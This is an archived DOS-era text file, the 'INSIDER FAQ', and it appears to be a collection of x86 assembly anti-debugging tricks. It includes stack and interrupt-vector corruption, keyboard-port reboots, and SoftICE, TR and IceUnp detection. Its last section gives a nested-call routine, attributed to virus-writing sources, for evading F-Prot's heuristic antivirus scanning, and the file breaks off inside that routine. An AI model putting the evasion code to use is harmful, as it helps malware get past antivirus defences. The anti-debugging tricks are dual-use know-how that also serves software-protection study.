home *** CD-ROM | disk | FTP | other *** search
/ Reverse Code Engineering RCE CD +sandman 2000 / ReverseCodeEngineeringRceCdsandman2000.iso / RCE / Library / Manuels & Misc / Anti_debug / INSIDER.TXT < prev    next >
Encoding:
Text File  |  2000-05-25  |  43.6 KB  |  1,292 lines

  1.    ───────────────┐
  2.    │ Introduction │
  3.    └───────────────
  4.  
  5.  
  6.   The INSIDER - FAQ is meant for people who want to make their programs more
  7.   secure against unpacking/viewing or modifying.
  8.   You can input the code shown below into any of your ASM source codes or
  9.   into other languages which got a ASM support like C++ or Pascal.
  10.   
  11.   Furthermore is the INSIDER - FAQ meant for those who are interested in
  12.   AntiDebugging or AntiTraceCode tricks against realmode or protectedmode
  13.   debuggers/unpackers.
  14.  
  15.   Last but not least might the INSIDER - FAQ also be helpful for protector
  16.   writers or crackers which want to learn how AntiDebugging tricks look like
  17.   or how to bypass them with debuggers.
  18.   
  19.   Please remember that the best tricks can be found in the uncovered version
  20.   of the INSIDER - FAQ. To get such version contact me by writing an EMail
  21.   with comments about TRAP and things I could add into the next version or
  22.   AntiDebugging code which can't be found in the current INSIDER - FAQ.
  23.  
  24.  
  25.    ──────────────────────────┐
  26.    │ Realmode Anti Debugging │
  27.    └──────────────────────────
  28.  
  29. The following chapter describes ways how to crash/detect realmode debuggers
  30. or unpackers like TD or IUP.
  31. If we want to crash/detect a debugger we first have to know how they work.
  32. Most realmode tracers use INT1/3 to trace. If you point INT1 or INT3 to
  33. a corrupt area some stupid debuggers like TD get kicked.
  34. A better way is to insert code into INT1 and then afterwards restore it
  35. again. But CUP386 /1 and TR (with INT1) use there own interrupt table for
  36. these ints, so what to do against them? As ANY realmode debugger does not
  37. use its own stack, you can corrupt it and restore it after doing some
  38. instructions.
  39. Due the fact that we need the keyboard to trace but not to execute code
  40. we can also pull the keyboard off to make realmode tracers mad.
  41. The keyboard has two important hardware ports : 60h and 64h.
  42. Nuking those two ports will kick most of the debuggers out.
  43. Interrupt 9 is also used by the keyboard, so play arround with that too.
  44.  
  45. Realmode debugger use/need the following things :
  46.  
  47. - INT1,INT3 and INT10
  48. - Keyboard (INT9,Port 60h and 64h)
  49. - Stack (SS and SP)
  50.  
  51.  
  52.  ╓══════════════════════════════╖
  53.  ║  Points INT1 to invalid area ║
  54.  ║  by Piotr Warezak (C)        ║
  55.  ╚══════════════════════════════╝    
  56. »»
  57. INT1 can be either reset with INT21/AX=2501h or directly with MOV.
  58. INT1 is located at position 0000:0005.
  59. Old method to stop some realmode debuggers.
  60. »»
  61.  
  62.     push ds                         ;save DS register
  63.     xor ax,ax                       ;zero DS register
  64.     mov ds,ax                       
  65.     not word ptr ds:[0005]          ;cut off INT1 vector for a moment
  66.     jmp short j1
  67.     db 09ah
  68. j1:     not word ptr ds:[0005]          ;restore INT1 vector
  69.     pop ds                          ;restore DS register
  70.  
  71.  
  72.  ╓═════════════════════════╖
  73.  ║  Nice stack-trick 1     ║
  74.  ║  by Christoph Gabler    ║
  75.  ╚═════════════════════════╝
  76. »»
  77. Here is just a possibility how to detect any realmode debuggers/unpacker.
  78. It is not very tight but to make it work everywhere I used some lines
  79. for compatibilty - they are actually not very important.
  80. It detects : CUP386 /1, TD, TD286, DEBUG and more...
  81. »»
  82.  
  83. CLI
  84. MOV DX,SP                 ; Save SP to DX.
  85. MOV CL,CS:BYTE PTR [00]   ; Save the original 00. For 100% compatibilty. =8]
  86. MOV BL,CS:BYTE PTR [01]   ; Same as above with 01.
  87. MOV CS:BYTE PTR [00],0CDh ; Write the normal values - just to make sure.
  88. MOV CS:BYTE PTR [01],020h ; Same as above with 01.
  89. MOV AX,10h                ; The value 3 would crash debuggers directly.
  90. MOV SP,AX                 ; Corrupt the stack, now lame debugs modify 01.
  91. MOV SP,DX                 ; Restore SP.
  92. XOR AX,AX
  93. MOV AL,CS:BYTE PTR [01]   ; Write the value back.
  94. MOV CS:BYTE PTR [00],CL   ; Write 00/01 back.
  95. MOV CS:BYTE PTR [01],BL
  96. CMP AX,20h                ; If not 20h then a realmode debugger is there.
  97. JNE $                     ; Jump at current position.
  98. STI
  99.  
  100.  ╓═════════════════════════╖
  101.  ║  Nice stack-trick 2     ║
  102.  ║  by Christoph Gabler    ║
  103.  ╚═════════════════════════╝
  104. »»
  105. Much tighter but much easier to find out how it works. Fills SS
  106. with my magic number (Most other numbers do not work).
  107. Of course only against realmode debuggers.
  108. »»
  109.  
  110. CLI
  111. MOV BX,SS         ; Save SS to BX
  112. MOV DX,52121d     ; Preparing DX for the corruption
  113. MOV SS,DX         ; Corrupt SS with the help of DX  / Hlts DEBUG
  114. XOR DX,DX
  115. MOV SS,BX         ; Restore SS
  116. MOV BX,DX
  117. STI
  118.  
  119.  ╓═════════════════════════╖
  120.  ║  Nice stack-trick 3     ║
  121.  ║  by Christoph Gabler    ║
  122.  ╚═════════════════════════╝
  123. »»
  124. This time all enhanced regs will be corrupted. A bit noughtier than
  125. the one above.
  126. »»
  127.  
  128. CLI
  129. MOV BX,DS      ; Save DS in BX
  130. MOV SI,ES      ; Save ES in CX
  131. MOV DX,52121d  ; Preparing DX for the corruption
  132. MOV DX,SS      ; Save SS in DX
  133. MOV DS,AX      ; Write crap into DS
  134. MOV ES,DX      ; Write crap into ES
  135. MOV SS,AX      ; Write crap into SS
  136. MOV DS,BX      ; Restore DS
  137. MOV ES,SI      ; Restore ES
  138. MOV SS,DX      ; Restore SS
  139. STI
  140.  
  141.  ╓═════════════════════════╖
  142.  ║  Nice stack-trick 4     ║
  143.  ║  by Christoph Gabler    ║
  144.  ╚═════════════════════════╝
  145. »»
  146. The following code uses the stack to jump. Most realmode debugs
  147. get kicked at the SP-modify, to get every realmode tracer the JMP SP
  148. is included. This routine works best in addition with a decryption loop.
  149. »»
  150.  
  151. MOV AX,OFFSET JUMP_TO    ; Get the position to jump to.
  152. MOV BX,SP                ; Save SP to BX.
  153. MOV SP,AX                ; Fill SP with the jump value.
  154. JMP SP                   ; Jump to the position.
  155. JUMP_TO:
  156. MOV SP,BX                ; Restore SP.
  157.  
  158.  
  159. »»
  160. Very common method to detect realmode tracers - often found in protectors.
  161. It stops: Debug,Turbo Debug,Realmode Debug...
  162. »»
  163.  
  164. PUSH    AX
  165. POP     AX
  166. DEC     SP
  167. DEC     SP
  168. POP     BX               ; BX should point to the pushed AX.
  169. CMP     AX,BX
  170. JNE     $                ; Kill Debugger if found.
  171.  
  172.  
  173. »»
  174. Another wellknown and oftenseen stack trick.
  175. It stops: Debug,Turbo Debug,Realmode Debug...
  176. »»
  177.  
  178. CLI
  179. MOV AX,SP      ; Save SP.
  180. MOV SP,3       ; Kick realmode debugger.
  181. NOP            ; Do a cmd between corruption and restore.
  182. MOV SP,AX      ; Restore SP.
  183. STI
  184.  
  185.  ╓═════════════════════╖
  186.  ║ Fake entrypoint #1  ║
  187.  ║ by Christoph Gabler ║
  188.  ╚═════════════════════╝    
  189.  
  190. »»
  191. Almost anyone has heard about fake entrypoints. They can be found
  192. in HS and RC to fool DECAY05 or in CS to fool CUP386. There are many
  193. other protectors in which such a entrypoint fake can be found.
  194. But how does it work? Pretty simple, the following code is such a
  195. routine. CUP386 and DECAY05 get fooled.
  196. You can place code before the routine and after the routine.
  197. »»
  198.  
  199. MOV CX,9000h                 ; Fake the entrypoint 9000h times.
  200. XOR DX,DX                    ; We must clear DX first.
  201. MOV DL,CS:BYTE PTR [100h]    ; Save the byte found at 100h.
  202. MOV CS:BYTE PTR [100h],0C3h  ; Write a RET to 100h.
  203. MOV AX,100h
  204. FAKE_ENTRY:
  205. CALL AX                      ; Call 100h.
  206. LOOP FAKE_ENTRY
  207. MOV CS:BYTE PTR [100h],DL    ; Restore the byte we overwrote before.
  208.  
  209.  
  210.  ╓═════════════════════╖
  211.  ║ Fake entrypoint #2  ║
  212.  ║ by Christoph Gabler ║
  213.  ╚═════════════════════╝    
  214.  
  215. »»
  216. Another possibility to fake some unpackers. This time it does not restore
  217. 100h and 101h - I think if you need the restore, you can do it yourself.
  218. »»
  219.  
  220. MOV CX,9000h                 ; Fake the entrypoint 9000h times.
  221. XOR DX,DX                    ; We must clear DX first.
  222. MOV DL,OFFSET THERE - 100h   ; This is to generate the correct JMP back.
  223. ADD DX,100h                  ; Add 100h 'cause we jump there.
  224. MOV CS:BYTE PTR [100h],0FFh  ; Write the jump command to 100h.
  225. MOV CS:BYTE PTR [101h],0E2h   
  226. MOV AX,100h
  227. JMP AX                       ; Jump to 100h.
  228. THERE:
  229. CMP CX,0                     ; If CX = 0 then we are done.
  230. JE OVER_FAKE
  231. DEC CX                       
  232. JMP AX                       ; Do it again.
  233.  
  234. OVER_FAKE:                   ; Place the rest of your code here.
  235.  
  236.  
  237.  ╓═════════════════════╖
  238.  ║ Nuke Interrupt 1    ║
  239.  ║ By Christoph Gabler ║
  240.  ╚═════════════════════╝    
  241.  
  242. »»
  243. Another Anti Realmode Debugger routine. Due the fact that most lame debugs
  244. use INT1 to trace you just need to point to an invalid area to crash
  245. the debuggers. TD uses INT1, TR (with INT1=On) uses INT1 too but seems to use
  246. its own one. INT1 is restored afterwards.
  247. »»
  248.  
  249. ; Kill and restore INT1
  250.  
  251. mov cx,es     ; Save ES.
  252. mov di,ds     ; Save DS.
  253.  
  254. mov ax,3501h  
  255. INT 21h
  256. push es bx    ; Get INT1 and save it.
  257.  
  258. mov ax,2501h  
  259. xor dx,dx
  260. mov ds,dx
  261. int 21h       ; Set INT1 to 0000:0000.
  262.  
  263. pop bx es     ; Pop the old values.
  264. mov dx,bx
  265. push es
  266. pop ds
  267. mov ax,2501h
  268. int 21h       ; Restore INT1.
  269.  
  270. mov es,cx     ; Restore ES.
  271. mov ds,di     ; Restore DS.
  272.  
  273.  ╓═════════════════════╖
  274.  ║ Nuke Interrupt 1/3  ║
  275.  ║ By Christoph Gabler ║
  276.  ╚═════════════════════╝    
  277.  
  278. »»
  279. This routine kills INT1 and INT3 but without using INT21. This method is
  280. very common and a similar version can be often found in protectors.
  281. CUP386 /1 does not loose the control - maybe it redirects INT1 and INT3.
  282. »»
  283.  
  284. PUSH ES
  285. CLI
  286. xor ax,ax
  287. mov es,ax           ; Clear ES.
  288. mov bx,4            ; Position of INT1.
  289. mov ax,es:[bx]      ; Get and save INT1.
  290. mov es:[bx],0FFFFh  ; Corrupt INT1.
  291. add bx,2            ; Position of INT3.
  292. mov cx,es:[bx]      ; Get and save INT3.
  293. mov es:[bx],0FFFFh  ; Corrupt INT3.
  294. sub bx,2
  295. mov es:[bx],ax
  296. add bx,2
  297. mov es:[bx],cx
  298. STI
  299. POP ES
  300.  
  301.  ╓═════════════════════╖
  302.  ║ Keyboard trick #1   ║
  303.  ║ by Christoph Gabler ║
  304.  ╚═════════════════════╝    
  305.  
  306. »»
  307. By overflowing the keyboard port 64h many debugger reboot the CPU.
  308. Do this by sending a '0FEh' to hardware port 64h.
  309. The problem is that the port get overflowed and inactive under Windows95,
  310. which means that you cannot access 64h anymore and the result is a locked
  311. keyboard.
  312. »»
  313.  
  314. ; Get previos state and save it.
  315. IN AL,64h
  316. PUSH AX
  317.  
  318. ; Reboot by sending 0FEh to port 64h. (Use 0ADh to deactivate)
  319. MOV AL,0FEh
  320. OUT 64h,AL
  321.  
  322. ; Reactivate keyboard. (Does only work under DOS)
  323. POP AX
  324. OUT 64h,AL
  325.  
  326.  
  327.  ╓═════════════════════╖
  328.  ║ Keyboard trick #2   ║
  329.  ║ by Christoph Gabler ║
  330.  ╚═════════════════════╝    
  331.  
  332. »»
  333. A much better trick is the following. Kicks most debugger but stays Windows95
  334. compatible! Same port, other value.
  335. Trick foundout as I used 60h's lower value.
  336. »»
  337.  
  338.   IN AL,64h       ; Get current lower keyboard state.
  339.   PUSH AX         ; Save it.
  340.  
  341.   MOV AL,42h      ; Windows compatible but as great as 0ADh.
  342.   OUT 64h,AL      ; Send the value to the main keyboard port.
  343.  
  344.   POP AX          ; Restore the state we had.
  345.   OUT 64h,AL      ; Restore the main keyboard port.
  346.  
  347.  
  348.  ╓═════════════════════╖
  349.  ║ Irritation code     ║
  350.  ║ by Christoph Gabler ║
  351.  ╚═════════════════════╝    
  352.  
  353. »»
  354. A stupid little routine to irritate the tracer. Of course only usefull if
  355. you place a decryptor with a C3 in it, jump there and do other irritating
  356. things. This is just an example.
  357. »»
  358.  
  359. MOV DX,SP
  360. CALL POS          
  361. JMP GO_ON               
  362. POS: POP BX             ; Get current position.
  363. CALL $+4                ; Call over the command, into C3.
  364. DB 04h,0C3h             ; MOV AL,0C3h
  365. CALL $-1                ; Call back into C3.
  366. MOV [CS:00],AL          ; Write a C3 into CS:00.
  367. ADD AL,03Dh             ; Clear AL.
  368. MOV [CS:20C3h],0E3FFh   ; Place a JMP BX to CS:20C3.
  369. JMP AX                  ; Jump to 00.
  370. GO_ON:
  371. MOV SP,DX
  372.  
  373.  
  374.  ╓═════════════════════╖
  375.  ║ Irritation macro    ║
  376.  ║ by Christoph Gabler ║
  377.  ╚═════════════════════╝    
  378.  
  379. »»
  380. 98% of HackStop's "AntiDebugging code" consists of lame macros.
  381. Macro's were meant for making reading/debugging of code difficult, everyone
  382. of course knowns that they are just joke (as HS itself ;).
  383. How do these marco's which were meant for irriatation work?
  384. The two instructions 'CALL FAR' and 'JUMP FAR' need 5 bytes of space for
  385. their working, that's why debuggers display the following 4 bytes as
  386. a 'CALL FAR' or 'JUMP FAR' instruction. So, what happens if we put a
  387. '0EAh' or a '09Ah' into our code? The following code will be displayed as
  388. the same instruction. If we now simply jump over the oppcode byte to avoid
  389. a crash we are done.
  390. The problem is that there are methods (of course top secret! ;) to get rid
  391. of these stupid macro's like:
  392.  
  393. - NOP the oppcodes out
  394.  
  395. Yeah, these waste of bytes are of course no antidebugging. Every debugger
  396. can bypass them, but why does Rose still use them every second in HS?
  397. Hmm, that might be a question you better ask Rose himself... 
  398. »»
  399.  
  400.  
  401. MACRO_LOOP:    ; Use a loop because this might be interesting for decryptors
  402. JMP OVER_1     ; First fake jump over oppcode '0EAh'
  403. DB 0EAh        ; The oppcode itself.
  404. OVER_1:
  405. NOP            ; Do a cmd, insert your code here.
  406. JMP OVER_2     ; Second fake jump.
  407. DB 09Ah        ; The oppcode itself.
  408. OVER_2:
  409. CALL OVER_3    ; CALLing instead of JuMPing works better against TR.
  410. NOP            ; Do another fucky cmd.
  411. CALL OVER_4    ; Do it again. ('Cause lameness rules!)
  412. JMP OVER_6     ; And another time.
  413. DB 0EAh        ; The oppcode itself.
  414. OVER_4:
  415. RET
  416. OVER_6:
  417. NOP
  418. JMP OVER_5     ; Jump a last time.
  419. DB 00,00,0EAh  
  420. OVER_3:
  421. RET
  422. DB 00,00,00,09Ah
  423. OVER_5:
  424. LOOP MACRO_LOOP
  425.  
  426.  
  427.  ╓═══════════════════════════════╖
  428.  ║ Screen AntiDebugging trick #1 ║
  429.  ║ by Christoph Gabler           ║
  430.  ╚═══════════════════════════════╝    
  431.  
  432. »»
  433. Often seen in protectors like Ciphator,FSE05,ExeLock666,PCrypt...
  434. Should irritate the tracer but I think it irritates the user. :)
  435. Here's the tightest way I know - directly over hardware port 3C6h.
  436. »»
  437.  
  438. CLI
  439. MOV DX,3C6h      ; Point to color area.
  440. IN AX,DX         ; Get old settings.
  441. PUSH AX          ; Save them.
  442. MOV AX,100h      ; Value for black.
  443. OUT DX,AX        ; Send to port.
  444.  
  445. ; Place your Antidebugging Tricks here.
  446.  
  447. POP AX           ; Restore old settings.
  448. OUT DX,AX        ; Send them to port.
  449. STI
  450.  
  451.  ╓═══════════════════════════════╖
  452.  ║ Screen AntiDebugging trick #2 ║
  453.  ║ ripped out of ExeLock666      ║
  454.  ╚═══════════════════════════════╝    
  455.  
  456. »»
  457. 'Legandary' way to flicker the screen. Found in Ciphator and ExeLock666...
  458. Turns whole screen off for a while.
  459. »»
  460.  
  461. ; Screen off.
  462. mov dx,03C4h
  463. mov al,1
  464. out dx,al
  465. inc dx
  466. in al,dx
  467. or al,20h
  468. out dx,al
  469.  
  470. ; Place your Antidebugging Tricks here.
  471.  
  472. ; Screen on.
  473. mov dx,03C4h
  474. mov al,1
  475. out dx,al
  476. inc dx
  477. in al,dx
  478. and al,dl
  479. out dx,al
  480.  
  481.    
  482.    ──────────────────────────────┐
  483.    │ Protectedmode AntiDebugging │
  484.    └──────────────────────────────
  485.  
  486. Everyone knows them, every protector author fears them : PM Debuggers. ;)
  487. Much more difficult to detect/crash then 'normal' realmode debuggers.
  488. Number one might be Iceunp or Winice, which keep their own stack, mostly their
  489. own interrupts and full 8086-486+ emulation.
  490. TR 2.01 does not trace the code, it interprets every single instructions.
  491. Unknown instructions must be traced. TR uses INT1 to trace these instructions.
  492. Deglucker acts similar to CUP386 - full interrupt reemulation, but bad
  493. DRx/CRx emulation.
  494. CUP386 and GTR use asskicking keyboard routines which make keyboard-offs
  495. nearly impossible.
  496.  
  497. Protectedmode debugger use/need the following things :
  498.  
  499. - INT10
  500. - Keyboard (INT9,Port 60h and 64h or 21h)
  501. - Sometimes DRx
  502.  
  503.  
  504.  ╓═════════════════════════╖
  505.  ║ Winice recognization    ║
  506.  ║ by ?                    ║
  507.  ╚═════════════════════════╝    
  508.  
  509. »»
  510. How to recognize Winice? The following routine shows how to do it.
  511. Stonehead told me that the routine hangs sometimes - I do not know, test it.
  512. Detects: Only Winice Win 3.1/Win95 NOT the Dos version.
  513. »»
  514.  
  515. ; Anti SoftIce trick #1
  516.        mov ax,01684h
  517.        mov bx,0202h ; VXD ID for Winice, check out Ralf Brown's INTLIST
  518.        xor di,di
  519.        mov es,di
  520.        int 2fh
  521.        mov ax,es
  522.        add di,ax
  523.        cmp di,0
  524.        jne $
  525.  
  526.  
  527. »»
  528. The four following routines were send by somebody I met on IRC. I'm sorry but
  529. I forget his name. Anyway, hope you enjoy the following Anti Winice tricks.
  530. »»
  531.  
  532. ; Detect Winice #1
  533.     mov ebp, 'BCHK'             ; use ice BoundsChecker interface
  534.     mov ax, 04h
  535.     int 3  
  536.     cmp al,4
  537.     jz winicenotdetected        
  538.  
  539.  
  540. ; Detect Winice #2
  541.     mov ah,43h
  542.     int 68h                            ; winice has int 68h handler and returns following value
  543.     cmp ax,0f386h
  544.     jnz winicenotdetected
  545.  
  546.  
  547. ; Detect Winice #3
  548.     xor ax,ax  
  549.     mov es,ax
  550.     mov bx, word ptr es:[68h*4]
  551.     mov es, word ptr es:[68h*4+2]        ; checking int 68h handler
  552.     mov eax, 0f43fc80h
  553.     cmp eax, dword ptr es:[ebx]
  554.     jnz winicenotdetected
  555.  
  556.  
  557. ; Detect Winice #4
  558.     push cs  
  559.     pop es   
  560.     xor ax,ax
  561.     mov es,ax
  562.     mov bx, cs
  563.     lea dx, int41handler
  564.     xchg dx, es:[41h*4]
  565.     xchg bx, es:[41h*4+2]
  566.     in al, 40h
  567.     xor cx,cx
  568.     int 41h
  569.     xchg dx, es:[41h*4]
  570.     xchg bx, es:[41h*4+2]
  571.     cmp cl,al
  572.     jz winicenotpresent
  573.  
  574.  
  575. »»
  576. Here is another way to get Winice. Credits go to DarkStalker.
  577. Works while executing INT41 which is used by Winice itself.
  578. »»
  579.  
  580.   cli
  581.   In     Ax,40h
  582.   Mov    word ptr cs:[bp+keyval],Ax
  583.   push   0
  584.   pop    ds
  585.   xor    ebx,ebx
  586.   mov    bx,cs
  587.   shl    ebx,10h
  588.   lea    bx,[bp+newint2]
  589.   xchg   ebx,dword ptr ds:[41h*4]
  590.   push   ds cs
  591.   pop    ds
  592.   Mov    Ah,4Fh
  593.   Int    41h
  594.   pop    ds
  595.   XChg   EBx,DWord Ptr Ds:[41h*4]
  596.   Push   Cs
  597.   Pop    Ds
  598.   Cmp    Ax,0000h
  599.  keyval  Equ $-2
  600.   Jne    $
  601.   sti
  602.  NewInt2:
  603.  
  604.  
  605.  ╓══════════════════════════╖
  606.  ║ Anti Deglucker 0.04 code ║
  607.  ║ by Christoph Gabler      ║
  608.  ╚══════════════════════════╝    
  609.  
  610. »»
  611. The following routine shows a possibility how to defeat DG with just
  612. 3 bytes. If you trace it with DG, a 'protection fault' will be displayed
  613. and you cannot continue. The problem is that you are still able to NOP the
  614. code out.
  615. »»
  616.  
  617. DB 66h,0FAh,0FBh     ; Opcode 66h, CLI, STI
  618.  
  619. here another little instruction which causes DG to 
  620. display 'protection fault' :
  621.  
  622. CMPSD                ; Compare string or doubleword  386+
  623.  
  624.  
  625.  ╓══════════════════════╖
  626.  ║ Mode Detections      ║
  627.  ║ by different authors ║
  628.  ╚══════════════════════╝    
  629.  
  630. »»
  631. Another nice section might be the detection of the different modes a CPU can
  632. be switched to. Here are ways of how to detect RealMode, ProtectedMode or
  633. Windows95.
  634. »»
  635.  
  636. ; Realmode detection by Christoph Gabler.
  637. mov eax,cr0            
  638. cmp eax,10h            ; Compare CR0 with 10h, if so, we must be in realmode.
  639. je Real_Mode_Found
  640.  
  641. ; Realmode detection by ELiCZ.
  642. SMSW AX                ; Get Machine Status Word and store in AX.
  643. TEST AL,1
  644. JE   Real_Mode_Found   ; Jump if CPU in Real Mode.
  645.  
  646. ; Protected Mode (QEMM, EMM386...) detection by Christoph Gabler.
  647. mov eax,cr0            
  648. cmp al,1               
  649. je Protected_Mode_Found
  650.  
  651. ; V86 (Windows 3.x and Windows 95) detection by Christoph Gabler.
  652. mov eax,cr0            
  653. cmp ax,0000            ; CPU is in Virtual 8086 mode if CR0 is 0000.
  654. je V86_Mode_Found
  655.  
  656. ; Windows Detection detection by tHE riDDLER
  657.           mov ax, 01600h
  658.           int 02fh     ; Check for available BP.
  659.           or  al,al
  660.           jne Windows_Found
  661.  
  662.  
  663.  ╓═══════════════════════════════╖
  664.  ║ Generic Anti TR 1.97 trick    ║
  665.  ║ by Torsten Becker             ║
  666.  ╚═══════════════════════════════╝    
  667.  
  668. »»
  669. Here is a nice way to stop TR. You can put the following two bytes
  670. before any other instruction like a NOP or a XOR...
  671. The problem is that TR is able to bypass when in INT1-mode.
  672. You are asking yourself how to hinder tracing it with INT1? Ask me
  673. for the uncovered INSIDER.FAQ.  :)
  674. »»
  675.  
  676. DB 66h,67h        ; Kicks TR 1.97
  677. NOP               ; Or any other command.
  678.  
  679.  
  680.  ╓══════════════════════════════════╖
  681.  ║ TR - unknown instruction listing ║
  682.  ║ by Christoph Gabler              ║
  683.  ╚══════════════════════════════════╝    
  684.  
  685. »»
  686. The following source shows a few commands which cannot be traced with
  687. TR 1.97 without using INT1. Most instruction are unknown to TR and some
  688. simply hang TR when trying to trace them.
  689. Of course they are more or less useless if you can bypass them with INT1
  690. but there are so MANY ways to get TR's INT1 - trace method :
  691. Cut INT1 before placing these instructions or play with the stack...
  692. »»
  693.  
  694. Instructions which are unknown to TR 1.97 :
  695.  
  696. CLTS              ; Clear Task Switched Flag  286+ privileged mode
  697.  
  698. JECXZ LABEL       ; Jump to LABEL if ECX zero  386+
  699.  
  700. BSR EAX,EBX       ; Bit Scan Reverse  386+
  701.  
  702. BSF EAX,EBX       ; Bit Scan Forward  386+
  703.  
  704. CMPXCHG EAX,EBX   ; Compare and Exchange  486+
  705.  
  706. BSWAP EAX         ; Byteswap  486+             
  707.  
  708.  
  709.  ╓═════════════════════════╖
  710.  ║ Cheap IceUnp detection  ║
  711.  ║ by Christoph Gabler     ║
  712.  ╚═════════════════════════╝    
  713.  
  714. »»
  715. IceUnp uses good trace modes but the coder forgot one really dumb thing :
  716. His program does always use the same temporary file that is created before
  717. the Iceunp traced the file - a very stupid mistake because Iceunp can be
  718. detected while just searching the temp file called '1ICEUNP'
  719. Here is a method how to do it.
  720. > This one is cheap too. Get a REAL IceUnp detection in the UNcovered version
  721. of INSIDER.FAQ !
  722. »»
  723.  
  724.     mov     ah,4Eh                   ; Find the first match
  725.     mov     dx,offset ICETEMP        ; Load the offset filemask dx
  726.     int     21h                      ; Call DOS
  727.     jnc     $                        ; Jump at current pos. if 1ICEUNP
  728.                        found.
  729.  
  730.                      
  731.                      ; Rest of your code
  732.  
  733.  
  734. ICETEMP db '1ICEUNP',0                   ; This must be placed out of range.
  735.  
  736.  
  737.  ╓══════════════════════════════════════╖
  738.  ║ 32 Bit Control- & Debug Register FAQ ║
  739.  ║ By Christoph Gabler (C)              ║
  740.  ╚══════════════════════════════════════╝    
  741. »»
  742. The following section should complain the working and function of
  743. the 32 Bit Control and Debug registers which can used to detect nearly
  744. ANY 80386 Debugger/GenericUnpacker. This short FAQ should describe
  745. what the CPU and Debugger does when it executes modification on DRx/CRx.
  746. If you know anything more about these registers please write it down
  747. and I'll add it here!
  748. »»
  749.  
  750. (1) - The following 'enhanced' 32 Bit registers exist :
  751.     
  752.    [CRx] Control Registers     (Modifications are QEMM incompatible)
  753.    CR0,CR2,CR3
  754.      
  755.    [DRx] Debug Registers
  756.    DR0,DR1,DR2,DR3,(DR4),DR5,DR6,DR7
  757.  
  758.    [TRx] Test Registers
  759.    TR4,TR5,TR6,TR7
  760.  
  761. (2) - Description/function of the single register :
  762.  
  763.    CR0  =  Should not be set to a value over ca. 7000h -> CPU/Debug reboots.
  764.        With CR0 CUP386 /7 can be detected. Iceunp/TR can be kicked with
  765.        modification. Mostly incompatible with QEMM.
  766.    CR2  =  Should not be modified, crashs on Cyrix.
  767.        
  768.    CR3  =  ANY modification under EMM386 causes an error -> Press Return to
  769.                                 reboot the system.
  770.    DR4  =  TASM is not able to compile it but it can be manually compiled
  771.        and works :  DB 0Fh,21h,0E0h
  772.    DR6  =  After every executation DR6 is restored to the value of DR4.
  773.    DR5  =  A very nice way to get GTR 1.90 is the modification over 2000.
  774.        Same value as DR7.
  775.    DR7  =  Main debug register. Normal is DR7 = 400
  776.        If modified, other DRx registers will be changed too.
  777.  
  778.    TR4-TR7  =  May not be accessed directly -> CPU hangs.
  779.  
  780.  
  781. (3) - Which values they are able to hold :
  782.  
  783.    CR0  =    Handles values till ca. 2000h, adds 10h to itself if modified
  784.    CR2-CR3 = Should not be accessed, values are same as they were set to
  785.  
  786.    DR0-DR5 = Handles 32 bit values, the fourth position is always a zero
  787.    DR6  =    Handles 32 bit values, behaves different from OS to OS
  788.    DR7  =    Handles 32 bit values, adds either 400h or 00 to itself if 
  789.          modified, the fourth position is always a zero
  790.  
  791.  
  792. Important : Any CR0 modification can't be executed under QEMM.
  793.         A 'exception error #13' follows then. QEMM tells us
  794.         that this error appears because code with modified CR0
  795.         hangs - a stupid joke! Stupid because *I* had to
  796.         rewrite TRAP so that QEMM doesn't get 'angry'.
  797.         If you want your progs QEMM-compatible you can
  798.         write a easy QEMM detection : Check if CR0 has the
  799.         value 11h, if so jump over the CR0 modification.
  800.         Works only if the debugger/tracer does not work under
  801.         QEMM and EMM386 of course.
  802.         
  803.  
  804. (4) - The emulation listing of todays most Generic Unpackers :
  805.  
  806.    CUP386 /3  =  Tracing seems to be the same as GTR uses. Very bad DR7
  807.          emulation. Traces through LOCK/HLT ?!?
  808.    CUP386 /7  =  Similar to the method Iceunp uses. Very bad CR0 emulation.
  809.          Traces through LOCK/HLT ?!?
  810.    GTR 1.A1   =  Enhanced emulation since the last version. Stabilty
  811.          was VERY increased : Reboot-detect and great error detection.
  812.    IceUnp     =  The *VERY BEST* 32B register emulation but can be defeated
  813.          with CR0 modification.
  814.    TR 1.92    =  Good emulation but with DR2 TR can be easily detected.
  815.          'MOV E(A)X,DR3' hangs TR 1.92 ?!?
  816.    TR 1.97    =  LiuTaoTao, DR7/CR0/FS and GS are changed after every
  817.          instruction. The new TR handles them as they would
  818.          be 'normal' registers like EAX,EBX...
  819.    TR 1.20    =  Very nice DRx,CRx emulations now! But still not as good
  820.          as Iceunp's DRx emulation. Anyway, best DOS debugger!
  821.          1.97 but has still many bugs and wrong emulations.
  822.    AUP386     =  Very difficult to say because this 'unpacker' is SO
  823.          full of bugs -> Hangs the most time... But hey! - I could
  824.          unpack PKLite ! =8]
  825.    DECAY05    =  Does not trace, but searchs for the entrypoint. ROSE showed
  826.          some possibilities to fool DECAY05 (HS,RC286...)
  827.          But therefor DECAY05 has a '/A' switch to unpack it
  828.          automatically. TRAP detects DECAY05 and reboots the CPU
  829.          if found because DECAY05 has many bugs with which it can
  830.          be detected...
  831.  
  832.  
  833.     ┌──────────────────────    
  834.     │ Anti-AntiVirus Code │    
  835.     ──────────────────────┘    
  836.  
  837.  ╓═════════════════════════╖
  838.  ║ Anti F-Prot Heuristic   ║
  839.  ║ By someone at Crypt ??  ║
  840.  ╚═════════════════════════╝    
  841.  
  842. »»
  843. A very popular routine to avoid F-Prot's Heuristic Analysis. I think it's
  844. a dumb waste of space using it - I have something better - watch at 
  845. TOP SECRETS!. Poor F-Prot, if it can be avoided by just jumping forwards 
  846. a few times. =8]
  847. »»
  848.  
  849.         call    screw_fprot              ; confusing f-protect's
  850.         call    screw_fprot              ; heuristic scanning
  851.         call    screw_fprot              ; Still effective as of
  852.         call    screw_fprot              ; version 2.10
  853.         call    screw_fprot              ;
  854.         call    screw_fprot              ; [cf] Crypt Newsletter 18
  855.         call    screw_fprot              ; for explanation & 
  856.         call    screw_fprot              ; rationale
  857.         call    screw_fprot              ;
  858.         call    screw_fprot              ;
  859.  
  860. screw_fprot:
  861.         jmp  $ + 2                 ;  Pseudo-nested calls to confuse
  862.         call screw2                ;  f-protect's heuristic
  863.         call screw2                ;  analysis
  864.         call screw2                ;
  865.         call screw2                ;
  866.         call screw2                ;  These are straight from
  867.         ret                        ;  YB-X.
  868. screw2:                                     
  869.         jmp  $ + 2                  
  870.         call screw3                 
  871.         call screw3                 
  872.         call screw3                 
  873.         call screw3                 
  874.         call screw3                  
  875.         ret                         
  876. screw3:                                     
  877.         jmp  $ + 2                  
  878.         call screw4                 
  879.         call screw4                 
  880.         call screw4                 
  881.         call screw4                 
